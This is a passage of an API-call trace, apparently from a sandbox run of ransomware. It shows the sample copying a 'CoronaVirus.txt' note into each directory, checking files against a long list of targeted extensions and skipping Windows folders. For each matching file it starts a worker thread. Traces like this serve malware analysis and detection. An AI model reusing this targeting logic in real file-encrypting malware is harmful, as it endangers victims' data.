	[0081.836] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1046", cAlternateFileName="")) returned 1
	[0081.836] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.836] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.836] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046") returned 26
	[0081.836] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.836] wcsstr (_Str="C:\\588bce7c90097ed212\\1046", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.836] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1046\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1046\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.841] _alloca_probe () returned 0x4036d0
	[0081.842] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1046", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1046", lpFilePart=0x316583c*="1046") returned 0x1a
	[0081.842] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea24364a, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0081.842] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.842] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xea24364a, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.842] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0081.842] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea24364a, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xea24364a, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0081.842] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0081.842] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0081.842] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0081.842] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0081.842] malloc (_Size=0x1000) returned 0x2f23520
	[0081.842] _swprintf (in: param_1=0x2f23520, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\CoronaVirus.txt") returned 42
	[0081.842] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0081.842] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0081.842] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0081.843] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0081.843] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.843] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.844] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0081.844] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.845] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0081.845] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.845] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0081.845] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.845] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0081.845] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.845] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0081.845] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0081.845] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0081.845] malloc (_Size=0x1000) returned 0x2f24528
	[0081.845] _swprintf (in: param_1=0x2f24528, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35
	[0081.845] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0081.845] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\eula.rtf", _SubStr="wasse") returned 0x0
	[0081.845] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\eula.rtf", _SubStr="passw") returned 0x0
	[0081.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f24528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0081.846] SetThreadPriority (hThread=0x49c, nPriority=15) returned 1
	[0081.848] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0081.848] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0081.848] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0081.848] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.848] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0081.848] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.849] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0081.850] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.850] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0081.851] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.851] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0081.851] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0081.851] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0081.855] malloc (_Size=0x1000) returned 0x2f24528
	[0081.855] _swprintf (in: param_1=0x2f24528, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44
	[0081.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0081.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0081.855] wcsstr (_Str="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0081.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f24528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0081.855] SetThreadPriority (hThread=0x4a0, nPriority=15) returned 1
	[0081.858] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0081.858] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0081.858] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0081.858] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.858] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.858] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.865] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0081.865] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.865] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0081.865] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.865] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0081.865] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.865] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0081.865] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.865] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0081.871] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0081.877] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.877] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.878] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0081.878] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0081.879] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0081.879] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0081.879] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0081.879] FindClose (in: hFindFile=0x600e50 | out: hFindFile=0x600e50) returned 1
	[0081.879] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1049", cAlternateFileName="")) returned 1
	[0081.879] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0081.879] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0081.879] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1049") returned 26
	[0081.879] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0081.879] wcsstr (_Str="C:\\588bce7c90097ed212\\1049", _SubStr="Microsoft\\Windows") returned 0x0
	[0081.880] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1049\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0081.928] _alloca_probe () returned 0x4036d0
